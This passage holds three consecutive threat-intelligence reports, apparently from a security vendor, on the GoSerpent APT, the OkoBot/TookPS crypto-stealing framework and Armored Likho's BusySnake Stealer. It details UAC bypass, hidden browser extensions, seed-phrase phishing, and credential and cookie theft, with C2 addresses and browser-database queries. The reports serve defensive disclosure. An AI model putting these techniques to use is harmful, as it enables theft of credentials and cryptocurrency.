The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.
Attribution
While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.
Conclusion
The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.
In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.
Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.
Background
TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.
Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.
We dubbed this updated TookPS campaign “OkoBot”.
Original OkoBot infection chain
We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.
New OkoBot infection chain
Initial infection
The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.
Malicious application distribution report
This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.
Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.
Back connection
The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:
Open firewall ports for inbound RDP traffic
Create a user in the “Remote Desktop Users” group
Replace the legitimate termsrv.dll with a patched one to permit multiple concurrent RDP sessions
Create a scheduled task named Apple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hour
After that, the SSH bot begins retrieving malicious modules over SFTP.
Launcher with advanced options
One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.
Active sessions
At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.
Example output of HDUtil enumeration commands
UAC bypass
The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.
Below is the list of all HDUtil commands.
Command
Description
target [nouac [user=<user>]] [noattach] <file>
Starts file and prints its output.
If optional argument noattach passed, command to be executed in background.
If optional argument nouac passed, automatic UAC bypass to be performed.
If optional argument user passed, new process to be executed under , otherwise default local administrator to be chosen.
pcopy <file> <dir_src> <dir_dst>
Copies file <file> located in <dir_src> to <dir_dst>. Not used by SSH bot.
enumadapters
Prints names of graphical adapters on current system. Not used by SSH bot.
enumsessions
Prints all sessions on current system. Not used by SSH bot.
Browser extensions loader
The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.
The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.
Setting up protections on the regions and launching the implant
This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.
List of the functions hooked by the malware
Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.
The loader replaces the functions it finds with its own
When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.
During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.
Extensions are unpacked into a non-default directory
All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.
The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.
Stub for hiding malicious extensions
During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.
Plugins dispatcher
The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.
Decrypting implant using AES GCM and subsequent mapping
The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:
Task index
Action
1
Reconfigure client: update session keys, assign ID, switch to another C2
2
Load DLL implant into memory and run its entry point
3
Load plugin into process and register tasks with RegisterPlugin function
4
Restart dispatcher as new process
x
If the task number is none of the above, search for it among the registered plugins
Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.
Resolving a plugin initialization function
During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.
CMD wrapper (10xx): allows running scripts and individual commands in cmd.
PowerShell wrapper (11xx): allows running scripts and individual commands in PowerShell.
Environment enumerator (12xx): gathers system information, active sessions, and processes.
Dropper (14xx): downloads an additional payload directly onto the system both from embedded Base64-encoded binary blob and via URL.
Process injector (16xx): launches additional malicious implants on the target system by injecting them into legitimate processes.
We identified four malicious implants that are delivered to the system via the process injector plugin.
ext daemon
The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.
SeedHunter
Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.
List of functions hooked by the malware
Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.
When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.
Phishing pages for seed phrase recovery
The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.
MC Keylogger
This module is a keylogger that, in addition to recording user input, performs three malicious activities:
Clipboard logging: periodically checks various clipboard formats, including CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.
Logging connected devices: logs information about USB devices connected to the system, including hardware characteristics like VID, PID, manufacturer, and other details.
Screenshot creation: creates a screenshot every five minutes with a name in the format sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.
Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.
Example of the keylogger log file
OkoSpyware
This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.
Example of an OkoSpyware metadata file
The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.
Artifacts exfiltration
The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.
Sequential exfiltration of artifacts from the temporary directory
Victims
At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.
Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)
Attribution
At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.
It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.
Conclusion
The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.
The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.
During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.
Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.
Key campaign highlights:
The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.
This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.
Initial infection vector
Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.
EXE attachment
In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.
Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.
Payload repository example
The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.
The fetched package contains the following components:
The primary payload: a stealer named module.pyw
The runtime directory with the components of the PyArmor execution environment
A Python 3.12 interpreter
The get-pip.py script: used to install the pip package manager and fetch required dependencies
Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.
With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:
Loader removal script
The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:
Persistence script
This task ensures that the payload, BusySnake Stealer, is executed every five minutes.
LNK attachment
In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.
Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:
Obfuscated PowerShell command
This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:
Downloading and executing the loader
Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.
Decoy documents
Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.
Variable initialization example in loader code
Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.
Example of downloading and installing Python and the pip package manager
As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.
Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.
BusySnake Stealer
The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.
The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.
During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.
Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.
Stealer configuration example
The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.
Handler Name
Description
single_instance_lock
Prevents multiple instances of the stealer from running concurrently on the compromised host.
start_key_clipboard_logger
Steals data from the system clipboard.
start_inventory_background
Enumerates files across the system and logs their metadata into a local database.
extract_hex64_from_file
Attempts to extract 64-character hexadecimal keys from the files.
start_send_documents_priority_background
Forwards user documents to the C2 server.
take_screenshot
Captures screenshots and saves them to the SCREEN_DIR directory.
archive_pngs
Archives captured screenshots and purges previously created archives from the disk.
poll_task
Waits for incoming C2 commands to execute.
ensure_schtask
Checks for the presence of a scheduled task to maintain persistence. If none is found, it drops a VBScript launcher and registers a new scheduled task.
Below, we break down the execution logic of the malware’s core functions.
Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.
Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:
Additionally, the stealer maps out the local file system using the start_inventory_background function.
This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:
sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'
The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.
Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:
Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.
The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:
GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
The C2 sign-in form interface is shown below:
C2 administration panel sign-in form
Commands are transmitted from the C2 server as function names, which are detailed in the table below:
Function Name
Description
handle_send_screenshots_command
Captures screenshots at a designated interval, bundles them into an archive, and exfiltrates them to the C2 server.
send_and_clear_keystroke_log
Exfiltrates logged keystroke data to the C2 server and clears the log file afterward.
handle_extract_chromium_passwords
Decrypts stored passwords from Chromium-based browser databases using the DPAPI.
handle_extract_firefox_passwords
Decrypts passwords from Firefox databases by invoking the PK11SDR_Decrypt function.
handle_collect_and_send_cookies
Extracts cookies from browser databases and uploads them to the C2 server.
handle_extract_cookies_v7_command
Extracts cookies by installing an extension into the browser.
handle_search_2fa_secrets_command
Scrapes for OTP keys by continuously monitoring the clipboard and parsing local files; if an otpauth:// string is matched, the key is logged to 2fa_secrets.txt.
handle_search_wallet_jsons_command
Sweeps user directories to locate cryptocurrency wallet files with a JSON extension.
handle_split_and_send_tdata_command
Harvests Telegram session and credential data from the APPDATA/Telegram Desktop/tdata directory; it force-terminates the telegram.exe process, stages the files in a temporary directory, compresses them, and exfiltrates the archive to the C2 server.
Establishes a reverse SSH tunnel using an SSH command and private key previously received from the C2 server.
The second function terminates the connection and purges the key from the host.
handle_remote_control_command
Checks for an active installation of RustDesk on the endpoint. If missing, it downloads the application from GitHub. If already present, it restarts the RustDesk process to prompt the user to re-enter their ID and password, grabs a screenshot of the credentials, and exfiltrates the captured data to the C2 server.
After executing each command, the stealer sends a report back to the C2 server containing the task completion status.
Password exfiltration from Firefox and Chromium-based browsers
When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.
Locating the file containing the master key
The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.
Master key decryption
Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.
SELECT origin_url, username_value, password_value FROM logins
Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.
For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.
Credential extraction
The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.
Credential decryption
The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.
Cookie extraction
The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.
For Chromium-based browsers, the malware executes the following query:
SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies
For Firefox, it uses this query:
SELECT host, name, value, path, expiry FROM moz_cookies
All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.
In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.
The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:
manifest.json: details the extension structure and required permissions
sw.js: contains the primary execution logic for the extension
Once these components are staged, the extension is installed into the browser.
Extension configuration file (manifest.json)
Extension execution logic (sw.js)
To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.
Chrome execution parameters
Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:
http://127.0.0.1:8000/?data_type=c
The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.
Reverse SSH tunneling
The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.
The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:
The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.
To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.
New version of the BusySnake Stealer
During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.
In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.
Creating a scheduled task via the COM object
This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.
We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.
The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:
One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.
Attribution
We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.
In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
